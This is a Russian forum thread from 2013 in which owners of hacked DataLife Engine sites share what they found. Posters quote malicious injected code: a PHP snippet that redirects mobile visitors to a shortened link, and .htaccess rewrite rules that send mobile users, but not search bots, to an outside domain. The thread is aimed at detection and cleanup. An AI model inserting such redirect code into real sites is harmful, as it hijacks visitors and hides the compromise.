Взлом dle проверяем файлы.

Руслан Solomon

Сообщений: 741 Регистрация: Дек 2012

#91

9 Февраля 2013 19:16

Капец..оказывается и у меня дыра smile:confused:

Saneer1

Сообщений: 14 Регистрация: Авг 2010

#92

15 Февраля 2013 14:54

Мля... оторвал бы руки тем кто это делает

Се Со

Сообщений: 717 Регистрация: Ноя 2012

#93

24 Февраля 2013 13:31

Теперь код имеет другой формат:

Цитата
echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP";$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android";$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS";$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry";if ($iphone \|\| $android \|\| $palmpre \|\| $berry === true){ header("Location: http://goo.gl/ZJ8HS";exit;}

+ посмотрите файл отвечающий за язык site/language/Russian/website.lng я и там нашел эту гадость.

Изменено: Се Со - 24 Февраля 2013 13:32

Скайп: serg91100
E-mail: serg91100@mail.ru
VK: http://vk.com/salvator_merkur
Телефон: +7 (903) 001-83-64
Отзывы и ссылки на темы:
http://www.cy-pr.com/forum/f50/t41942/
http://www.cy-pr.com/forum/f74/t62114/
http://www.cy-pr.com/forum/f74/t65141/

Александр

Сообщений: 47 Регистрация: Июн 2012

#94

10 Марта 2013 19:13

кому интерестно, тут все описанно

Сергей Баезов

Сообщений: 1 Регистрация: Апр 2013

#95

14 Апреля 2013 08:11

Цитата
Артем пишет: dle-news.ru/bags/v97/1547-patchi-bezopasnosti-dlya-versiy-97-i-nizhe.html]Вот скачайте перезалейте файл! Вроде проверили этот файл... дописали много чего!

Скачал, не помогает, через пару-тройку дней все по-новому

webostrow

Сообщений: 4 Регистрация: Сен 2010

#96

23 Мая 2013 13:57

Был сломан сайт на DLE 9.8 лицензия, никаких сторонних модулей нет, изменены ВСЕ файлы .htaccess и права 444 не спасли, время последнего изменения файлов при этом осталось прежним, как будто ничего не менялось, во всех файлах был прописан вот такой код:

Цитата

RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|
yandeximages|
yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) uploads-xxx.ru/?8&source=домен сайта [L,R=302] #

DLE 9.8 лицензия не нулл не какой, обладателям этой версии двига не стоит расслабляться.

Новые темы	Объявления	Свободное общение
16:07 Работаем в P2P платежах BYBIT \| USDT - RUB , RUB - USDT \| Ищем постоянных клиентов , выгодные условия. 10:44 AntiBot Cloud - бесплатный скрипт и сервис защиты сайтов 20:13 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 19:41 25$ (ежемесячно) AdSense 21:39 Подскажите где продвигать сайт. 10:57 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг 19:12 Мошенники-копирайтеры	05:11 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 23:23 STREAM X CASH — Ваш амбициозный и надежный партнер в сфере криптообмена 20:37 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 18:57 Обменник криптовалют Saint-Exchange 16:21 AllCharge.online. Современный, быстрый и надёжный обменник 14:02 SiteAnalyzer SEO Tools - бесплатное браузерное расширение для Chrome & Firefox 12:25 Продам Домены .COM с историей трафика.	03:11 Точные прогнозы на футбол 23:47 Добро пожаловать в цифровой мир... 22:39 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор 11:58 Куплю проигрышные букмекерские аккаунты 00:12 Огородники 10:59 Новости искусственного интеллекта 04:26 Хром ругается на форум

Новые темы

Объявления

Свободное общение

16:07 Работаем в P2P платежах BYBIT | USDT - RUB , RUB - USDT | Ищем постоянных клиентов , выгодные условия.
10:44 AntiBot Cloud - бесплатный скрипт и сервис защиты сайтов
20:13 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика!
19:41 25$ (ежемесячно) AdSense
21:39 Подскажите где продвигать сайт.
10:57 3snet - гемблинг, беттинг, форекс, бинарные опционы, майнинг
19:12 Мошенники-копирайтеры

05:11 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка
23:23 STREAM X CASH — Ваш амбициозный и надежный партнер в сфере криптообмена
20:37 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств
18:57 Обменник криптовалют Saint-Exchange
16:21 AllCharge.online. Современный, быстрый и надёжный обменник
14:02 SiteAnalyzer SEO Tools - бесплатное браузерное расширение для Chrome & Firefox
12:25 Продам Домены .COM с историей трафика.

03:11 Точные прогнозы на футбол
23:47 Добро пожаловать в цифровой мир...
22:39 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор
11:58 Куплю проигрышные букмекерские аккаунты
00:12 Огородники
10:59 Новости искусственного интеллекта
04:26 Хром ругается на форум

15.10.2017 21:34	Защита DLE и Joomla от взлома?
10.08.2016 21:14	Попытки взлома
09.01.2016 09:40	Взломан сайт???
21.08.2014 23:52	Взломали Dle, кто встречался с таким?
06.12.2013 03:00	Следы взлома сайта